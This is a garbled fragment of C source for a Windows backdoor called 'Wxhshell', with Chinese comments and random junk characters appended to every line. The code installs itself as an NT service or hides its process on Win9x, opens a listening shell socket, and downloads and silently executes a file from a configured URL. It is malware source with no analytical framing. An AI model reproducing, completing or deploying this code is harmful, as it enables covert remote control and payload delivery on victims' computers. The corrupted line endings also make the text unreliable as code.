ULONG UniqueProcessId; 7%y$^B7{
ULONG InheritedFromUniqueProcessId; F\ B/q
} PROCESS_BASIC_INFORMATION; ?{ N,&d
ye(b 7CX
PROCNTQSIP NtQueryInformationProcess; :C:6bDQ
G?s9c0f
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ubwM*P
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; eFG/!b<17
;P91'B~t
HANDLE hProcess; pF{jIXu
PROCESS_BASIC_INFORMATION pbi; <tD,Uu{P
[E1qv;
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 24 [KGp
if(NULL == hInst ) return 0; =W~7fs
rfqwxr45h
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); P([!psgu
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); YnEyL2SuU
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 2][9Wp
Sq5,}oT_{j
if (!NtQueryInformationProcess) return 0; f/)Y {kS6
2lTt
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); |'h(S|
if(!hProcess) return 0; N3%#JdzZ$
_%e8GWf
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; y\T$) XGV
7m2iL#5[
CloseHandle(hProcess); }j/\OY _&
I~&*^q6 |
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); mkSu
$c
if(hProcess==NULL) return 0; %g9ym@s
dla_uXtM6
HMODULE hMod; YK/? mj1x
char procName[255]; A%^?z.
unsigned long cbNeeded; % !@E)%d0
B
~v6_x
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); :Qa*-)rs
W>jKWi,{
CloseHandle(hProcess); m6i ,xn
.\oz
if(strstr(procName,"services")) return 1; // 以服务启动 nE]rPRU}[
7J);{ &x9h
return 0; // 注册表启动 Ae2N"%Ej
} %e:+@%]
&& ]ix3
// 主模块 -b!?9T?}
int StartWxhshell(LPSTR lpCmdLine) D"4*l5l
{ WOO3z5 La
SOCKET wsl; Tb]7# v
BOOL val=TRUE; )<QX2~m<
int port=0; q]4h#?.-1v
struct sockaddr_in door; y3;M$Jr
;-3&yQ7N)
if(wscfg.ws_autoins) Install(); Q&I #
,1I-%6L
port=atoi(lpCmdLine); vAM1|,U
"}X+vd``
if(port<=0) port=wscfg.ws_port; Tgpu 9V6
^li3*#eT
WSADATA data; dQ*^WNUB
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ?l~qb]._
^|<>`i6
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; d./R;Z- I{
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); r1HG$^
door.sin_family = AF_INET; {+lU 4u
door.sin_addr.s_addr = inet_addr("127.0.0.1"); >$ZhhM/} J
door.sin_port = htons(port); !Ge;f/@
{>km]CG
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { Ys.GBSlHG
closesocket(wsl); W$X/8K bn
return 1; P<>NV4
} &B5&:ib1D
S0StC$$1
if(listen(wsl,2) == INVALID_SOCKET) { BvvjaC
closesocket(wsl); j3&q?1
return 1; r],%:imGr
} yMdu
Zmkc
Wxhshell(wsl); &w9*pJR %
WSACleanup(); iuj%.}
8d$|JN;)
return 0; 1>[#./@
i+(>w'=m
} Y*#xo7#B
xq.kH| bH
// 以NT服务方式启动 [f:&aS+
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) Ytc[ kp
{ FI: H/e5[
DWORD status = 0; ];CIo>
b_(
DWORD specificError = 0xfffffff; +UWv }|
8N)Lck2PR
serviceStatus.dwServiceType = SERVICE_WIN32; R<fF
^^
serviceStatus.dwCurrentState = SERVICE_START_PENDING; j|8!gW
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; !e<5JO;c
serviceStatus.dwWin32ExitCode = 0; ..Dm@m}
serviceStatus.dwServiceSpecificExitCode = 0; ^X6e\]yj
serviceStatus.dwCheckPoint = 0; %AJ9fs4/
serviceStatus.dwWaitHint = 0; T-yEn&r4)
`oe=K{aX
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); )n"0:"Ou
if (hServiceStatusHandle==0) return; 2ZV; GS#
s#<fj#S
status = GetLastError(); p*<I_QM!
if (status!=NO_ERROR) _R|_1xa=
{ s[a\m,
serviceStatus.dwCurrentState = SERVICE_STOPPED; Q_p&~ PNy5
serviceStatus.dwCheckPoint = 0; Vo^J2[U
serviceStatus.dwWaitHint = 0;
E,\)tZ;,
serviceStatus.dwWin32ExitCode = status; >o13?-S%e
serviceStatus.dwServiceSpecificExitCode = specificError; q{G8Po$z'
SetServiceStatus(hServiceStatusHandle, &serviceStatus); .Y2Hd$rs
return; oQpGa>6U&
} q|%+?j(
PSv 5tQhm
serviceStatus.dwCurrentState = SERVICE_RUNNING; Pc&dU1
serviceStatus.dwCheckPoint = 0; ]#DCO8Vk
serviceStatus.dwWaitHint = 0; vN
v'%;L
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); b00$3,L
} l
z"o( %D
m+8:_0x "
// 处理NT服务事件,比如:启动、停止 !0? B=yA
VOID WINAPI NTServiceHandler(DWORD fdwControl) |J`v
w
{ sZ&6g<8#y
switch(fdwControl) qT$ IV\;_
{ vO$cF*
case SERVICE_CONTROL_STOP: 49>b]f,Vc
serviceStatus.dwWin32ExitCode = 0; #%ld~dgz-
serviceStatus.dwCurrentState = SERVICE_STOPPED; )TVd4s(e
serviceStatus.dwCheckPoint = 0; &+(D< U
serviceStatus.dwWaitHint = 0; f?^-JZ
{ j7:r8? G
SetServiceStatus(hServiceStatusHandle, &serviceStatus); [*It' J^
} Fhllqh)
return; >WZbbd-
case SERVICE_CONTROL_PAUSE: Dz$w6d
serviceStatus.dwCurrentState = SERVICE_PAUSED; 0+qC_ISns
break; G"m0[|XH
case SERVICE_CONTROL_CONTINUE: V,VL?J\
serviceStatus.dwCurrentState = SERVICE_RUNNING; (y?F8]TfM
break; u59l)8=
case SERVICE_CONTROL_INTERROGATE: !pRu?5
break; g i/k#3_m
}; &d6ud|
SetServiceStatus(hServiceStatusHandle, &serviceStatus); H;_Ce'oU(
} stfniV
[G|(E
// 标准应用程序主函数 #r"|%nOfY
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) tboQn~&4
{ urkuG4cY
:+>7m
// 获取操作系统版本 SXl~lYUL
OsIsNt=GetOsVer(); IQC[ewk
GetModuleFileName(NULL,ExeFile,MAX_PATH); PHT<]:"`<
#mUQ@X@K
// 从命令行安装 Hicd
-'
if(strpbrk(lpCmdLine,"iI")) Install(); Xl2g Hh
R#ZJLT
// 下载执行文件 ECM#J28D
if(wscfg.ws_downexe) { yc9!JJMkH
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) i"
u|119
WinExec(wscfg.ws_filenam,SW_HIDE); <G<5)$
S
} #l&*&R~>
[S]q'c)
if(!OsIsNt) { ??B!UXi4R
// 如果时win9x,隐藏进程并且设置为注册表启动 t>%b[(a
HideProc(); v,Z]Vqk
StartWxhshell(lpCmdLine); !D{z. KO
} eJ<P
else rq7yNt
if(StartFromService()) $$0<
&
// 以服务方式启动 xWa[qCr
StartServiceCtrlDispatcher(DispatchTable); 5QXU"kWH
else uMGy-c
// 普通方式启动 sl$y&C-
StartWxhshell(lpCmdLine); [];wP'*
E]&N'+T
return 0; WW3Jxd
}